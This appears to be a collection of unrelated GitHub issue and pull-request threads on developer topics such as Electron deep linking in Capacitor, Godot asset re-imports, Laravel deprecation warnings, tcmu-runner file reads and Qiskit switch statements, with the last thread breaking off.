Documentation for how to use deep linking with Electron

Is your feature request related to a problem? Please describe.
Please publish documentation on how to use deep linking with Electron. My expectation is that I'd be able to provide the custom protocol to Electron which would subsequently be registered in a fashion like: app.setAsDefaultProtocolClient('com.domain.for.my.app').
Describe the solution you'd like
I'd like to understand how to use deep linking with Electron. My expectation is that I can use the addListener('appUrlOpen' model like we can on iOS and Android
import { Plugins } from "@capacitor/core";

const { App } = Plugins;

App.addListener('appUrlOpen', (data: any) => {
   console.log('App Open', data)
})

In your capacitor.config.json you set the server.hostname to the protocol you want to use as your custom one (myapp for example) then in the electron/src/index.ts file you pass the deepLinking.useDeeplinking into the createCapacitorElectronApp()
const myCapacitorApp = createCapacitorElectronApp({
  deepLinking: {
    useDeeplinking: true,
  }
});

Thats all the setup, after you just use the plugin as normal. Do note that you must at least package or build and run the electron app before it will work properly.
This way of doing config for the platform will be changed with Capacitor 3+ with the introduction of plugins using the config file (capacitor.config.json) ionic-team/capacitor#3141

Are their any side effects of using that value in the configuration for mobile and web parts of Capacitor?
https://capacitorjs.com/docs/basics/configuring-your-app
Will that issue you referenced result in not having to modify the index.ts file in the future?

Not that I am aware of but it would probably better to have the config live with the other config in the index.ts at the moment, I'll probably move it.
In the future I am thinking of having an electron key in the config file which will house some config, such as static values like whether or not to use the splash screen, but at the moment its just an idea and no guarantee it will actually move.

Addressed in #37

@IT-MikeS -- With the merge of #37 is it accurate to say that I would change electron/src/index.ts to be:
const myCapacitorApp = createCapacitorElectronApp({
  deepLinking: {
    customProtocol: "com.domain.for.my.app",
  }
});

It also looks like when applying the original configuration suggested above the Electron app doesn't start.

@IT-MikeS -- With the merge of #37 is it accurate to say that I would change electron/src/index.ts to be:
const myCapacitorApp = createCapacitorElectronApp({
  deepLinking: {
    customProtocol: "com.domain.for.my.app",
  }
});

Yes however you shouldnt use something like com.example.myapp, the idea is to use whatever the browser will read. So for example I set the customProtocol to myawesomeapp, when you enter the url myawesomeapp://somedatatobepassedin the browser will look for the app on your computer associated with the protocol myawesomeapp then send through the url to that app where its parsed by capacitor. You can use listeners at this point or define a on cold start function.

@IT-MikeS -- With the latest version of @capacitor-community/electron this still doesn't work for me. The app is brought to focus but the appUrlOpen listener is not called. What I've done is added the code below to my index.tsx of my web app:
import { Plugins } from "@capacitor/core";

const { App } = Plugins;

App.addListener('appUrlOpen', (data: any) => {
   console.log('App Open', data)
})

Modified the electron/src/index.ts like so:
const myCapacitorApp = createCapacitorElectronApp({
  deepLinking: {
    customProtocol: "myprotocol"
  }
});

The capacitor.config.json is unchanged because my understanding was that with this move we didn't need to use the server.hostname any longer.
What am I doing wrong?

Did you build the electron app then run the built app atleast once? Deeplinking with electron doesnt work if you just run in dev mode ie: npm run electron:start

@IT-MikeS -- I tried running npm run electron:build-mac and even when installing and using that app the deep link only brought the app to focus and it didn't run the listener I setup with appUrlOpen.
Would you be willing to publish your sample so I can take a look? Also it may be worth noting that the project I'm working with is a React-based Ionic project.

Here is what I did with an ionic react app. https://github.com/IT-MikeS/test-cap-electron-deeplinking
Do note I tested on my windows machine. I can test on my mac later but I'm not near it at the moment

It seems that it is broken on Mac. If you remove the will-finish-launching wrapper it works great: https://github.com/capacitor-community/electron/blob/main/packages/core/src/electron/ElectronDeepLinking.ts#L72
My suspicion is that the will-finish-launching event has already fired prior to this code being run.

I will run some tests tomorrow on my mac and see what i can do, thank your for investigating👍

@IT-MikeS -- Thank you. I'd be more than happy to submit a PR to remove that wrapping will-finish-launching wrapper.

You're welcome to, I just want to make sure that it doesn't break deeplinks on windows or Linux

That's fair. Let me know!

This is the new pattern for using deeplinking within electron.
import { app } from "electron";
import { createCapacitorElectronApp, createCapacitorElectronDeepinking } from "@capacitor-community/electron-core";

// The MainWindow object can be accessed via myCapacitorApp.getMainWindow()
const myCapacitorApp = createCapacitorElectronApp();

createCapacitorElectronDeepinking(myCapacitorApp, {
  customProtocol: 'proto'
});

// This method will be called when Electron has finished
// initialization and is ready to create browser windows.
// Some Electron APIs can only be used after this event occurs.
app.on("ready", () => {
  myCapacitorApp.init();
});

// Quit when all windows are closed.
app.on("window-all-closed", function () {
  // On OS X it is common for applications and their menu bar
  // to stay active until the user quits explicitly with Cmd + Q
  if (process.platform !== "darwin") {
    app.quit();
  }
});

app.on("activate", function () {
  // On OS X it's common to re-create a window in the app when the
  // dock icon is clicked and there are no other windows open.
  if(myCapacitorApp.getMainWindow().isDestroyed())
    myCapacitorApp.init();
});

// Define any IPC or other custom functionality below here

@IT-MikeS --
Thank you! When can I expect a version with these changes to be available?

I will release a new version to npm today

Sorry for the delay, but I have just push a new version to npm

Made a quick documentation of the new deeplinking on the docs site.
https://capacitor-community-electron-docs-site.vercel.app/usage/deeplinking/


Notes on learning git and the command line, update 1

These are the notes from Aaron Filson on learning git and the command line. I am submitting this pull request as part of my preparations for the Boot Camp.

Nice work, good luck on the Boot Camp!


Incomplete documentation about storage account access

It doesn't tell if someone wants to access using SAS token. It also doesn't tell how to construct sign-in string to connect to storage account. Simply account key is not working, it is complaining sign in string do not match

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 0f685fa4-079e-19b2-9926-7eec807e3f43
Version Independent ID: 612f907e-2e5a-9188-8d10-1c54334c97ad
Content: Spring Cloud Stream with Azure Event Hubs
Content Source: articles/java/spring-framework/configure-spring-cloud-stream-binder-java-app-azure-event-hub.md
Service: event-hubs
GitHub Login: @KarlErickson
Microsoft Alias: karler

Hi @yiliuTo, please help to handle this issue.

Hi @TUSHPATT thanks for reporting this issue. We will fix the doc soon by adding the missing content about how to use kinds of credentials for Storage connection. And currently, you can refer to our reference doc for how to establish the connection.

Doc has been updated.


New version: WHONET.2023 version 23.13.29

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[x] This PR only modifies one (1) manifest
[x] Have you validated your manifest locally with winget validate --manifest <path>?
[ ] Have you tested your manifest locally with winget install --manifest <path>?
[x] Does your manifest conform to the 1.5 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Microsoft Reviewers: Open in CodeFlow

Sequence contains no elements

https://github.com/microsoft/winget-pkgs/issues/133371

Automatic Validation ended with:

2024-01-30T14:55:51.9717475Z Processing manifest: manifests\w\WHONET\2023\23.13.23
2024-01-30T14:55:51.9731925Z -----------------------------------------------------
2024-01-30T14:55:51.9734699Z Status: Started
2024-01-30T14:55:51.9743935Z Manifest file is Deleted
2024-01-30T14:55:52.2699318Z Status: Completed
2024-01-30T14:55:52.2712341Z ##[error] Result: Failed
2024-01-30T14:55:52.2764269Z ##[error] Sequence contains no elements
2024-01-30T14:55:52.3320688Z ##[error]Manifest Validation Failed

(Automated response - build 677.)

Sequence contains no elements

https://github.com/microsoft/winget-pkgs/issues/133371

(Automated response - build 677.)


Consider switching from mkdocs to docusaurus

https://docusaurus.io/

what dx improvements are you looking for, specifically? docusaurus seems to be tightly integrated with react which makes me hesitate to use it. at a glance, mkdocs looks like the better experience but we can tackle capability gaps if we use this ticket to describe current limitations you're hitting.

i'm closing this one because mkdocs is amazing and it added the features needed to remove sphinx :)


How to get list of all broadcasts in project?

I'm trying to make a dynamic menu with broadcasts, like in the original Scratch 3, but nothing comes out. How can I get all the broadcasts in a project? And is there a way to make a completely identical to the original menu, with options to create broadcast and so on?

Broadcasts are treated as variables. It's silly, but that's just how it is.
You need to create a script that will grab the variable types of "broadcast_msg" from the stage target, and sort them into an array.
I have made an example extension with a script that does this:
(function (Scratch) {
  'use strict';

  class Broadcast {
    getInfo() {
      return {
        id: 'Broadcast',
        name: 'Broadcast',
        blocks: [
          {
            opcode: 'broadcast',
            blockType: Scratch.BlockType.REPORTER,
            text: 'broadcast [BROADCAST]',
            arguments: {
              BROADCAST: {
                type: Scratch.ArgumentType.STRING,
                defaultValue: 'message1',
                menu: 'broadcasts'
              }
            }
          }
        ],
        menus: {
          broadcasts: {
            acceptReporters: true,
            items: 'getBroadcasts'
          }
        }
      };
    }

    broadcast(args) {
      return args.BROADCAST;
    }

    getBroadcasts() {
      // @ts-expect-error - Blockly not typed yet
      // eslint-disable-next-line no-undef
      const broadcasts = typeof Blockly === 'undefined' ? [] : Blockly.getMainWorkspace()
        .getVariableMap()
        .getVariablesOfType('broadcast_msg')
        .map(model => ({
          text: model.name,
          value: model.getId()
        }));
      if (broadcasts.length > 0) {
        return broadcasts;
      } else {
        return [{ text: "", value: 0 }];
      }
    }
  }
  Scratch.extensions.register(new Broadcast());
})(Scratch);

Thanks!


Update svg_fmt

Gets upstream PR https://github.com/nical/rust_debug/pull/3 , removes trailing "s from output.

Also thanks @koivunej for spotting those trailing "s


[zh-cn] Localize 1.25 issues-security/official-cve-feed.md

Added the zh-cn text to:
content/zh-cn/docs/reference/issues-security/official-cve-feed.md

Preview: https://deploy-preview-36259--kubernetes-io-main-staging.netlify.app/zh-cn/docs/reference/issues-security/official-cve-feed/

/approve

/lgtm


Type of expression is ambiguous without more context

I added the package to a new Swift Xcode project with rules of 0.0.3 to Major, and on build I get an error of:
Type of expression is ambiguous without more context
in parsePositionalValues at this line:
let extraValues: [(InputOrigin, String)] = argumentStack.map(\.0).map {

@rsalesas I think you need to use Swift 5.2 toolchain.

@rsalesas Thanks for the report!

@rsalesas  This fix has been included in the new 0.0.4 release.


Integrate dotnet/fsharp from 48f932cf8 to 085985140

Integrate dotnet/fsharp from 48f932cf8 to 085985140.  Notable changes include:

allowing '_' as a self-identifier
events for FSI evaluation lifecycle events
enhancements to FSI return-values
fixed parsing for langversion CLI arguments
allow cancellation of FSI interactions
ToString fixes for value options
Fixes for code generation in autogenerated members for very large records
make ranges of member declarations capture the entire member
improve error recovery in the parser
improve logic for auto-detecting 'framework' assemblies for FSI

Mono failure is a random segfault (again). Merging.


Cannot build the project (FindCUDA problem)

Hi,
I've a problem during the building phase, here's the output file of build.sh.
I suppose that the problem is caused by FindCUDA project.
Can someone help me?

Hi,
I think you should modify the ARCH variable in build.sh (v7 instead of v7n)


Finalize tab shows incorrect visibility if user is not the owner or co-owner

The Finalize tab is displaying the incorrect visibility to the user when the user's access is editor, commenter or admin providing feedback.
For example if the plan is 'privately' visible an admin providing feedback sees 'organizationally'

We received another ticket about this bug, so we should prioritize this fix if possible.

Issue was with the translation files. Updated and should now display the correct visibility


Support for non-GeoAgents in GeoSpace grid

Can a GeoSpace grid contain agents that are not GeoAgents? If not, how do you recommend to include agents moving on a map? As "Point" GeoAgents?

No, currently the GeoSpace does not allow non-GeoAgents (what would be the point in adding them to a GeoSpace if they have no coordinates?)
But yes, it sounds like you would want to use "Point" GeoAgents. Note however, that the visualization of points is currently broken (see #17 )

I see, makes sense. Thanks!
I saw the workaround for the visualization problem, hope that works.


lib/trivial: remove deprecation warning for lib.nixpkgsVersion.

Motivation for this change
Originally introduced in #39416 (1),
however it causes confusion and shouldn't be deprecated (2)(3).
/cc @edolstra
(1) https://github.com/NixOS/nixpkgs/pull/39416#discussion_r183845745
(2) https://github.com/NixOS/nixpkgs/commit/9274ea390348e17f766732e7fbd335e3bc164954#commitcomment-29951594
(3) https://github.com/NixOS/nix/pull/2291
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

looks like a duplicate of #44165

didn't see it, was asked by @edolstra to revert it. Closing, thanks for seeing this!


Refactor test cases in article spec

In article_spec.rb, refactor the first set of test cases to fall under a describe "versioning" block when testing that the version number updates correctly.

@rlgreen91 First off nice Friends name reference!
What kind of refactor are you looking for here? The tests themselves are pretty clean albeit quite explicit. We could use meta-programming to iterate through a list of properties to check versioning based on attribute change, but that would also be a little black magic.
Most of these tests just test that Papertrail works properly, and since Papertrail has it's own tests I think the better win here might me to remove all the versioning based unless you want to keep 1-2 around for regression sake.

Hi @caseyprovost, I would like for the tests to be inside of a describe "versioning block, as I said above.  I do agree that a lot of these tests are really verifying that Papertrail works, but given that we are making other changes to the article model, I would like to keep them around for now just as a sanity check.
Please let me know if you have any other questions!


Where is the pretraining code for BLIP2?

I have found it in LAVIS/run_scripts/blip2/. It would be great if the author includes a pointer in the project page LAVIS/projects/blip2/.


feat: Support for cognito federated indentities

Issue #, if available:
#387
Description of changes:
Users of the solution usually want to quickly demo and highlight value, connecting to an organisations existing identity provider is a quick way of enabling secure access to the solution to a defined user base.
Adds support for users to configure and leverage the solutions ability to Federate user logon via supported Cognito federation.
I have written docs for this solution see additions under docs/
Currently this solution only supports:

Cognito custom OIDC  providers.
Cognito custom SAML providers.
Supports setting the configuration later within the setup process but a helpful guided process is also provided.

2 Custom Resource lambda functions had to be used"

1 to update the cognito client with the created domain (circular dependency)
2 to securely pass the OIDC client secret to the cognito identity provider avoiding having the secret stored in cloudformation

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

This is great, much needed addition @Rob-Powell


Login into the ALMA Archive with credentials to download data

Hello again,
Would it be possible to add to ALminer the option to use authentication to login into the ALMA Archive in the download data step?
https://astroquery.readthedocs.io/en/latest/alma/alma.html#authentication
Cheers,
Carmen

Hi Carmen,
Thanks for the feature request. I had a quick attempt and realised that currently astroquery is also not able to access the authentication pages as a result of the cyberattacks (see this ticket: https://github.com/astropy/astroquery/issues/2630)
I think the best course of action is to wait for astroquery (or ALMA) to implement a fix. I hope that your request is not urgent.
Cheers,
Aida

Hi Aida,
Sorry, I forgot to mention in my message that astroquery login itself
was not working for me. I wanted to warn you this morning, but clearly
you are faster :) This is not a urgent request for ALminer, it was just
a suggestion for future improvement.
Thanks again!
Carmen
On 08/02/2023 10:15, Aida Ahmadi wrote:

Hi Carmen,
Thanks for the feature request. I had a quick attempt and realised
that currently astroquery is also not able to access the
authentication pages as a result of the cyberattacks (see this ticket:
astropy/astroquery#2630
https://github.com/astropy/astroquery/issues/2630)
I think the best course of action is to wait for astroquery (or ALMA)
to implement a fix. I hope that your request is not urgent.
Cheers,
Aida
—
Reply to this email directly, view it on GitHub
https://github.com/emerge-erc/ALminer/issues/3#issuecomment-1422273689,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AMSMKLGXCSUGDGILIWSIW7LWWNP2DANCNFSM6AAAAAAUUFGBPQ.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Dr. M.C. Toribio
Nordic ALMA Regional Center
Onsala Space Observatory
SE-439 92 Onsala, Sweden


file_example: Fix endless reading the file.

When the current file size is less than its real capacity for
some reason, such just after created by file_check_config,
the preadv will return 0, and the file_read will in a infinite
loop.
Then try to zero the iovecs left.
Signed-off-by: Xiubo Li<EMAIL_ADDRESS>

If you do a write under the same conditions does it also return a 0?

For the write case, I have not found this.
For one normal case, after the initiater logged in successfully, then if you use "fdisk -l" or do the read operations, the fdisk or inotiator will wait forever till timeout.

I have update the patch by add some code to make sure the iovecs left are zeroed.
For the same conditions, if you do the write, for the current runner code, the file as backend will grow the file capacity size and will always return the length intend to write.

The patch looks correct c/code wise.
SCSI wise though, I think for the command we are then supposed to return a ILLEGAL_REQUEST - LOGICAL BLOCK OUT OF RANGE right. In SBC-4/3 section 5.11 we have
If the specified LBA and the specified transfer length exceed the capacity of the medium (see 4.5), then the device server shall terminate the command with CHECK CONDITION status with the sense key set to ILLEGAL REQUEST and the additional sense code set to LOGICAL BLOCK ADDRESS OUT OF RANGE.
For the WRITE case, what happens if you try to write past the new file sizes's limit? Do you get an error?

Yes， when the read/write size is exceed, an out of range error will be returned.
Before I did a test by just skipping the lba limitation check to verify the endless pwrite case.

I think we are talking about different things.
In your test, you are shrinking the file after the capacity has been reported right? What is the use case for this type of action?

Under normal user circumstances like a controlled shrink using some new targetcli command, then I think we need to readjust tcmu-runners/lio's internal size for the device, send a UA with asc/ascq CAPACITY DATA HAS CHANGED, and for commands that raced and made it to preadv we should fail with an ILLEGAL REQUEST. I am not 100% sure on the ILLEGAL REQUEST though, so if you have a different opinion let me know.

Note: we are working on the management parts (targetcli/tcmu/UA) here
https://github.com/open-iscsi/tcmu-runner/pull/102

For the case, where we are trying to break things like shrinking the file and not telling tcmu just to see what happens, then I do not think it matters. It is the users fault. We can do the safe and/or easy route.

If you are working on thin provisioning, then I think we need some more code. I was asking about what happens to writes because for a FS file, the write would just increase the file size normally. If the file being used as a special file like a /dev/block_device, then you get errors. I think we need something to report that behavior differently. With your patch, the FS file case is like LBPRZ=1. For the block device file case we would do LBPRZ=1 for READs, but for WRITEs I think it is broken.

Maybe some misunderstanding on my part.
Yes. If shrink the backstore file manually after the capacity has been reported could also produce this.
But without any shrink action, like the following detail test case:
1, use targetcli to create a new LUN under user:file backstore, and the backstore file is not exist....
2, targetcli saveconfig
3, reboot the machine
4, targetcli restoreconfig
5, fire the tcmu-runner and the file handler will create the backstore file in file_check_config() and the size will be zero. (Or  must we do something just after this and make the new created file's size to the capacity size reported before step 6 ?)
6, then use the client try to do a read.
This is what I wanted to fix here.
================
I agree about readjusting tcmu-runner/lio's internal size for the device after shrinking.
And I think the  ILLEGAL REQUEST is okay.

For the file_example backstore, since it allow the none exist backstore file, and it will check and create it automatically. So when the client write to it, the file size will grow but will be limited to the capacity size as reported. But when reading the file and at the same time the current file size is less than capacity size, if the file offset or lba is larger than the current file size it should return zero(as file hole do?).

Since there is check_lba_and_length() before the file_read/file_write, so the (offset or lba) + data_length won't exceed the capacity size in file_read/file_write.
What I did a test was just skipping the check_lba_and_length() then can grow larger than capacity size, just for test. Just forget this.
So the endless only exist in file_read() when EOF and the current file size is less than capacity size. And for the file_write() is will always return the size writing without consider the Thin Provisioning.
What as I know for the Thin Provisioning case, when the device is full, when the file grows with writing the pwrite will return an error ? not zero ? am I right ?

It sounds like your case is thin provisioning (just gonna write thin-p below) right? See section 4.7 in SBC 3 for more info.
I was saying at the bottom of my last comment we report LBPME=0, so I think if we return a capacity of 10 gigs we must have physical storage for it. We need to fail at setup time if we do not. The ret==0 case is not supported and should be failed.
The behavior you are implementing looks more like thin-p support LBPME=1 LBPRZ=1. For that, besides your patch, I think we need to modify the READ CAPACITY response data to report our thin-p values and implement the other bits in section 4.7 of SBC-3.
If you are saying it is not related to provisioning, then I am open to your patch, but just need some more info, because I cannot find it in the spec. It is just not clear to me (SCSI spec wise) what the proper error is if we run out of space to do WRITEs. Is it ok to return a MEDIUM ERROR for WRITEs but still return zeros for READs.

I think I am going to flip flop, and say it is not related to thin provisioning.
There is no easy way to tell what the backend storage is always doing. It could be a dm device that does all kinds of craziness. We can just the let the user do what they want and deal with the consequences in this case.
When we actually implement the thin-p stuff they can config it.

Thanks.


Doctrine\Common\Inflector\Inflector is deprecated and will be removed in Symfony 4.0

Laravel Version: master
PHP Version: 7.4.5
Database Driver & Version: not relevant

Description:
The Doctrine\Common\Inflector\Inflector class is deprecated, Symfony\Component\Inflector\Inflector should be used instead)
Steps To Reproduce:
Set error reporting to warning and have a look at the error log

A fix was available in https://github.com/laravel/framework/pull/32724 but that PR got closed

Thanks for getting in touch. Deprecation warnings are not considered bugs, however we will be moving to the new code in this case, because we can (there are other examples where we use deprecated code but cannot upgrade within Laravel 6). Once a replacement PR to Laravel 6.x has been submitted, this issue will be resolved.

In addition, this warning affects at Illuminate\Support\Str::singular method generating bad singular string.

Example: status => statu

So make it a feature request or whatever but it breaks tests (if warnings get converted to exceptions for example during unit tests) or at least shows warning messages in them and i personally prefer to have none of them in my projects (and yeah, i could pin "doctrine/inflector": "1.3.*" but thats even worse) :D

@Theremsoe, this is the problem of the package used (see). Write them about it.

The bug with status is a problem upstream, and will be fixed soon I hope.
The deprecation is not a bug, but will be addressed all the same, soon.

Symfony\Component\Inflector\Inflector should be used instead

I don't think so?

When I deployed a project which utilizes the illuminate/database component amongst others, I was greeted with the following reports in sentry:

The "Doctrine\Common\Inflector\Inflector::pluralize" method is deprecated and will be dropped in doctrine/inflector 2.0. Please update to the new Inflector API.

The reason why the project was "affected" (nothing "broke" but sentry was flooded a bit) is that the custom built-in error handler was not checking if the current error_reporting() is 0 which it is when the @-operator is used.

Set error reporting to warning and have a look at the error log

So make it a feature request or whatever but it breaks tests (if warnings get converted to exceptions for example during unit tests) or at least

My Laravel projects as well as my other projects using laravel components where not affected by the tests, which I'm running via PHPUnit. Simply because PHPUnits error handler exactly does the same thing as Laravel:

in case of trigger_error being encountered
it explicitly checks if error_reporting() is 0 and if so, ignore it and just continues

I'm just mildly curious what setup you have which achieved which did the exception conversation when PHPUnit intercepts that flow. Are you using a custom error handler, overriding the one of PHPUnit or running next to it?

It appears that this also affects the static method ::all(..) on Models

@MartinsOnuoha Run composer update.

Locking this because all the discussions are caused by people using old code because they haven't updated to the latest version of Laravel.


Weblayers and onPageShown

On iOS, a weblayers does not receive the onPageShown event at creation. On Android it does.
Should we add them (hard code) into Cobalt iOS ?
Or do we wait for a better implementation of submodules ? #47

I talked to @Doc1faux lately and we decided to wait for the #47 issue. You will be able to work around this with javascript onFocus events I think.


Godot keeps re-importing assets when tabbing back into editor despite no external changes

Godot version
v4.1.1.stable.official [bd6af8e0e]
System information
Godot v4.1.1.stable - Windows 10.0.19045 - Vulkan (Forward+) - dedicated NVIDIA GeForce GTX 1650 (NVIDIA; <IP_ADDRESS>02) - Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz (12 Threads)
Issue description
When editing scripts / scenes inside the godot engine editor, saving the script / scene then causes godot to reimport assets every single time I tab back into godot from another tab.
Steps to reproduce

Open up the editor and save a scene / script. You don't even have to make any changes, actually.
Tab out from Godot
Tab back in and watch as the engine reimports all of your assets.

Minimal reproduction project
N/A

What types of imported resources do you have in your project?
Can you reproduce this as soon as you add one resource to a new project, or does it only occur in a specific project with lots of resources?
Are you using any special filesystem options that would affect things such as modification times?
Is your project stored on a network drive?

PNG files, OGG files, a TFF font file, some .asset files, pretty sure that's it
Admittedly, this issue did not pop up when I tried it on a new project, only on my main one with a few dozen assets or so. I would upload it but it is 73 MB, maybe I can un-private the repo somehow if that would help you.
I checked the editor settings for both projects and they have the same filesystem options (unless these are the same options for all projects and I checked something off I shouldn't have. Don't remember doing that though...)
It is stored on my computer's hard drive

Admittedly, this issue did not pop up when I tried it on a new project, only on my main one with a few dozen assets or so. I would upload it but it is 73 MB, maybe I can un-private the repo somehow if that would help you.

Please do if you can :slightly_smiling_face:

https://github.com/EthanStraub/gvs_godot
Ok. This is not my original repo. My original one started to have weird problems once I changed all the file and folder names to lower case (maybe that is the root of all this)?
Regardless, this current repo has the same problems.
Interestingly, if I open up Github Desktop (I use this to push my commits) after alt-tabbing from Godot, it shows that all my .import files changed somehow.

Oh man, looking at that image just now, that totally seems like it could be the problem!! But the "Assets" folder that was in my original repo isnt even in this one, unless Godot somehow managed to hold onto it. Where could it be? Do I have to remake my project somehow to get rid of this issue? I've already deleted the .godot folder a few times now.

You could try removing .godot and resetting your editor settings by removing the editor data folder listed here.

That, unfortunately, did not work. I deleted .godot in my project folder, and both Godot folders in AppData/Local and AppData/Roaming. At least now I know it might be due to me mucking around with file name changes. Thankfully it seems like the easy (albeit brutal) solution is to just throw all my current assets in a new project that doesn't remember my old file and folder names.

I had the exact same problem a couple of weeks ago.
Godot projects completely fall apart when you change the casing of folder names -- and in some cases even a more obvious renaming can have this effect as well.
What I ended up doing in my case was to mass-rename all the stale file paths stored in the .import and .tres files via VSCode, and then everything was okay.
Deleting the .godot folder alone did NOT fix the problem for me, and I kept getting errors and crashes.
It would be cool if renaming a folder did not destroy a project, and stale file paths were not a thing. :)

The file system does not detect external moving (renaming) of files very well. Moving files externally may be treated as removing and creating new files, without modifying dependencies. (It would be better to move (rename) the file inside godot.)
At this time, it may be helpful to open the Dependencies dialog of the affected file and click Fix Broken.

I can confirm this occuring for me in v4.2.1.stable.official [b09f793f5] on windows 10
I have a lot of assets and when i have a scene open which uses those assets, it seems like its constantly flipping inbetween upper-case and lower-case of certain folders.

and then back to how it previously was:

It would be interesting if this is similar to aproblem with Git on windows systems, where it can get confused after a folder got renamed from like upper-case to lower-case and the tracking can get f'd up.
I didnt have that problem with v3.5.3.stable.official [6c814135b]
Seems like this might have something to do with those new unique identifiers for imported assets, that are used as references within .tscn files?

I started experiencing this issue today after importing a new asset to my project.
Checking the Git tracking, it is the asset folder (lowercase in the file system) switching from res://assets to res://Assets

Is there some way to detect which files changed? I started experiencing this error and I cannot even imagine what resource could be messed up

This is happening with SnekStudio. Just doing this:
git clone --recursive https://github.com/ExpiredPopsicle/SnekStudio.git
cd SnekStudio
godot --editor

It seems on first open it re-imports assets to a different format (old: s3tc_bptc, new: etc2_astc). After that though, tabbing into the editor just re-imports a bunch of stuff with no change to the .import files on disk (the mtime changes, but not the contents).


Measurable Ratings: add a flattened hierarchy extractor

Description
Currently the extract just shows the immediate measurable.  Would be nice to use a dynamic 'n' wide, extract of all the parent measurable names.
Resourcing
We intend to contribute this feature

Waiting for #6870 to be merged first


SPM Support

I think it would be useful to add SPM support. I don't use any third party package managers and this library is great!
greetings, krjw

@andresinaka Any plans to support this? Would be much helpful if its supported.

There is a PR pending I just need to make the time to review it and merge it.

Implemented on #134

Can you tag a new release so we can add the package with just the GitHub URL instead of having to specify the commit?


Iif update measuredef

I have assigned the category "iif" (see #2452 ) to support PCNs with new contract. The list of low priority needs to be reviewed once the published list of 20/25 is available. For the moment I have guessed which of the 20 are included. (I think its a good guess seen as though I work on low priority for NHSE but I'm not 100% sure)

Looks fine but you'll also need to add something to https://github.com/ebmdatalab/openprescribing/blob/master/openprescribing/common/measure_tags.json, so the tag has a description

Is #2452 not it?


Add builder interface for new switch statement

Summary
With the addition of switch, we now have a second control-flow construct that

is not a loop, so can have lazily constructed blocks because of contained break and continue statements
can have multiple blocks that need their resources unifying

For the first part, we largely just have to handle things separately to if, though the placeholder instructions are much simpler because the placeholder will never need mutating and replacing (c.f. the else block).  For the second point, we move a bunch of the previously if-specific code into a shared location in order to reuse it.
Unlike the if case, the switch builder uses nested context managers for its cases, because this mirrors a common indentation pattern for switch statements (at least if you're not a Linux kernel developer).
We need new special logic to reject statements that are loose in the switch context but not a case context.  We could have just ignored that, but it feels like an easy potential mistake to make, so much better to loudly fail than silently do the wrong thing.
Details and comments
As with most of the builder interface PRs, most of the diff is in new tests.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

178 of 184 (96.74%)  changed or added relevant lines in 5 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 85.446%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

qiskit/circuit/controlflow/builder.py
6
7
85.71%

qiskit/circuit/controlflow/switch_case.py
94
95
98.95%

qiskit/circuit/controlflow/_builder_utils.py
57
59
96.61%

qiskit/circuit/quantumcircuit.py
12
14
85.71%

Totals

Change from base Build<PHONE_NUMBER>:
0%

Covered Lines:
67665

Relevant Lines:
79190

💛  - Coveralls

I wrote the initial release note in #9833, I think with the intention of revisiting it once we were 100% sure of the complete feature set that would make it in.


When will version 5.1 of Redmine be supported

Redmine 5.1-stable has released on 20240103, while onlyoffice-redmine just supports 5.0

when i apply settings in redmine onlyoffice plugin, it show error as "undefined method empty? for nil:NILClass "

it works, i just didn't set the key correctly


Fix cpu demo crash on aarch64 platform

We try to fix #244 in this PR. The root cause of the crash is still not clear. After doing some experiments, we think that it isn't likely to be the bug of BladeDISC itself.

The crash could be re-produced on a graph with a single GEMM op using BladeDISC TF bridge.
Same GEMM op test is ok if we do the test in UT environments (not using TF bridge) or use BladeDISC torch bridge.
Codegen kernel runs successfully using BladeDISC TF bridge.
if we use the wheel file from ARM community instead of pip install tensorflow-aarch64, GEMM op test is ok using BladeDISC TF bridge.

Thus, we provide a workaround to fix #244 by replacing the wheel package.

to #227


Remove unused codes

Remove following codes if they are not used.
buildHeroBlock() in scripts.js
hero block

@JiangLong2019 I have already removed it, please close this one.


Windows support

Indeed. I don't currently have time to add windows support, help is definitely wanted here if you'd like to make a PR.

With #17 it works fine on windows. Where does the nt directory come from? Current python version on windows (at least 3.6 / 3.7) do not create it in their venvs.

Where does the nt directory come from?

We need to add cmd scripts mirroring the posix scripts available in venv-pack/scripts/common to venv-pack/scripts/nt. Without them, there will be no activate script available in the packed environment.

I made an attempt to solve this issue in PR #21


remotePath vs remote_path

The docs at https://github.com/amoussard/sftp-deployment names the key in the config using snake_case. The deployment-config.json file autogenerated by wizard uses camelCase.
Also, I get some strange "Cannot establish connection: path must be string" errors whenever I save something.

It is remote_path.Is the only way I got it to work

Hi guys,
I have fixed the documentation, you must use removePath.


ci(kitchen+travis): replace EOL pre-salted images

Automated using https://github.com/myii/ssf-formula/pull/16

:tada: This PR is included in version 0.4.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


fixed #42 Autocomplete order/priority?

Coverage increased (+1.0%) to 40.984% when pulling 74d42ba4dc7ebfb0d13ea5570dc279e6b27294ae on #41/AutocompletePriority into 90542c5cf50b33718c95873bbf18a77e37cb33de on master.


Allow admins to predefine known hosts (SOFTWARE-4896)

How do they predefine it? Bind-mount something into /tmp? /tmp doesn't feel right for something that's technically configuration. How about /etc/osg/known_hosts or something?

Yeah, I'm imagining a bind mount. I just used /tmp since that's where we expect the osg-configure config but I do like your location better.


Cannot get pycryptodome module with ARC4 Cipher to work

Nuitka version, full Python version, flavor, OS, etc. as output by this
command (it does more than you think, and we are adding more all the time):

python -m nuitka --version
<IP_ADDRESS>
Commercial: None
Python: 3.10.0 (default, Oct 11 2021, 15:31:34) [GCC 9.3.0]
Flavor: pyenv
